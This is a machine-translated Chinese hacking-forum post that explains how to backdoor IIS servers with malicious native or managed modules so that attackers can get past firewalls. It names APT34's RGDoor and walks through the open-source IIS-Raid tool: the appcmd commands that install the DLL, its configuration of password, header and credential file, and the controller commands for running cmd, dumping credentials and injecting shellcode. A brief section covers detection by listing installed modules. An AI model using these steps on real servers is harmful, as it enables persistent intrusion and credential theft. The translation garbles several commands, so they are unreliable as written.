跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

利用IIS的模块功能绕过防火墙


cnhackteam7

推荐的帖子

0x00 前言

之前的文章《利用IIS的端口共享功能绕过防火墙》介绍了以下问题的解决方案:

Windows server已打开IIS服务,防火墙只允许端口80或443通信。那么如何在不使用webshell的情况下远程管理这个服务器呢?再者,如果只有低权限,有什么办法?

本文将介绍上述问题的另一种解决方案:利用IIS的模块功能绕过防火墙。

0x01 简介

本文将介绍以下内容:

IIS的模块功能

c开发模块

使用c#开发模块

IIS-Raid测试

利用率分析

防御探测

0x02 IIS的模块功能

从IIS7开始,开发者可以通过模块扩展IIS的功能。

参考资料:

https://docs . Microsoft . com/en-GB/IIS/develop/runtime-extensibility/extending-we B- server-functionality-in-net

如果能通过模块函数读取HTTP请求的内容,控制HTTP回复的内容,就可以利用模块函数实现对服务器的远程管理。

IIS的模块是以DLL的形式存在的,加载后不会有单独的进程。

2018年,PaloAlto Unit42发现APT34使用这种方法作为IIS的后门,并将其命名为RGDoor。

本文将重现RGDoor的一些功能,重点介绍这种利用方法的检测和识别。

0x03 使用c++开发模块

参考资料:

https://docs . Microsoft . com/en-GB/IIS/develop/runtime-extensibility/develop-a-native-cc-module-for-IIS

IIS 7.0和更高版本允许通过以两种方式开发的模块进行服务器扩展:

托管模块,使用托管代码和ASP.NET服务器扩展性API。

本机模块使用本机代码和IIS本机服务器扩展性API。

参考资料中介绍了本机模块的使用。

请注意以下问题:

可以使用Visual Studio进行开发。

DLL需要包含导出函数RegisterModule。

使用CHttpModule作为模块类继承的实现

使用IHttpModuleFactory接口创建模块实例。

1.模块开发

的具体实现代码可以参考以下地址的IIS-Raid:

https://github.com/0x09AL/IIS-Raid

代码详情可在以下位置找到:

https://www . MD sec . co . uk/2020/02/IIS-raid-后门-iis-using-native-modules/

IIS-Raid在RegisterModule函数中注册RQ_BEGIN_REQUEST和RQ_SEND_RESPONSE,以处理请求和响应。

2.模块注册

您可以选择以下三种方法:

使用APPCMD.EXE命令行工具

使用IIS管理工具进行界面操作

修改配置文件applicationHost.config

注:

方法1和2将在0x05中演示。

0x04 使用c#开发模块

参考资料:

https://docs . Microsoft . com/en-GB/IIS/develop/runtime-extensibility/developing-a-module-using-net

IIS 7.0和更高版本允许通过以两种方式开发的模块进行服务器扩展:

托管模块,使用托管代码和ASP.NET服务器扩展性API。

本机模块使用本机代码和IIS本机服务器扩展性API。

参考资料介绍了如何使用托管模块。

请注意以下问题:

可以使用Visual Studio进行开发。

是一个. NET类。

使用系统。Web.IHttpModule接口

1.模块开发

的具体实现代码可以参考以下地址的IIS_backdoor:

https://github.com/WBGlIl/IIS_backdoor

代码详情可在以下位置找到:

https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A

2.模块注册

您可以选择以下三种方法:

使用APPCMD.EXE命令行工具

使用IIS管理工具进行界面操作

修改配置文件web.config

具体使用方法也可以参考以下资料:

https://docs . Microsoft . com/en-GB/IIS/develop/runtime-extensibility/developing-IIS-modules-and-handlers-with-the-net-framework

https://docs . Microsoft . com/en-us/previous-versions/aspnet/ms 227673(v=vs . 100)

0x05 IIS-Raid测试

测试系统:

Windows Server 2012r2 x64(需要管理员权限)

IIS-Raid地址如下:

https://github.com/0x09AL/IIS-Raid

使用Visual Studio编译和生成IIS-Backdoor.dll

1.后门安装

您可以选择以下两种方法:

(1)使用APPCMD.EXE命令行工具

查看已安装模块的命令如下:

c:\ Windows \ system32 \ inetsrv \ app cmd。EXE列表模块

如下图

2-1.png

安装该模块的命令如下:

c:\ Windows \ system32 \ inetsrv \ app cmd。EXE安装模块/名称:test/image:' c:\ test \ IIS-back door . dll '/add:true

删除模块的命令如下:

c:\ Windows \ system32 \ inetsrv \ app cmd。EXE卸载模块测试

(2)使用IIS Administration Tool进行界面操作

运行inetmgr.exe并进入IIS管理器。

选择模块,如下图所示

2-2.png

进入后,选择配置本机模块.然后选择注册.如下图所示。

2-3.png

填写名称和路径,如下所示

2-4.png

添加成功后,新添加的内容会显示在模块页面上,如下图所示。

2-5.png

2.功能测试

IIS-Raid的配置文件保存在Functions.h中,包括以下内容:

# define COM _ HEADER ' X-Chrome-Variations '

# define PASS _ FILE ' C:\ \ Windows \ \ Temp \ \ creds . db '

#定义密码“简单传递”

COM_HEADER是用于在后门和控制器之间执行通信的标头名称。

PASS_FILE是使用dump命令读取文件的位置。

密码被定义为将用于对后门进行身份验证的密码。

(1)连接后门

该命令如下所示:

python。/IIS _ controller . py-URL http://192 . 168 . 18 . 138/-密码简单传递

如下图

3-1.png

(2)测试功能

执行cmd命令:

cmd whoami

测试下图

3-2.png

执行转储命令:

倾销

读取默认文件C: \ \ windows \ \ temp \ \ credits.db的内容。

测试如下图3-3所示。

3-3.png

执行外壳代码:

注入shellcode.txt

Shellcode.txt保存base64加密的外壳代码。加载方式是先创建进程C:\ \ Windows \ \ System32 \ \ credwitz.exe,然后注入。

测试下图

3-4.png

0x06 利用分析

使用IIS模块作为后门具有以下特点:

您需要首先获得IIS服务器的管理员权限。

有效负载是dll的形式。

从安装模块开始。

dll的进程是w3wp.exe。

0x07 防御检测

可以通过查看模块来检查IIS是否安装了后门。

具体方法有两种:

1.使用APPCMD.EXE命令行工具

查看已安装模块的命令如下:

c:\ Windows \ system32 \ inetsrv \ app cmd。EXE列表模块

2.使用IIS Administration Tool进行界面操作

运行inetmgr.exe并进入IIS管理器。

选择模块。

另外,需要注意的是,只有当模块成功加载后,才能在进程w3wp.exe中找到模块相关的dll。

0x08 小结

介绍了IIS的模块功能,实现了如何利用IIS的模块功能绕过防火墙,测试开源工具IIS-Raid,分享防御检测的建议。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...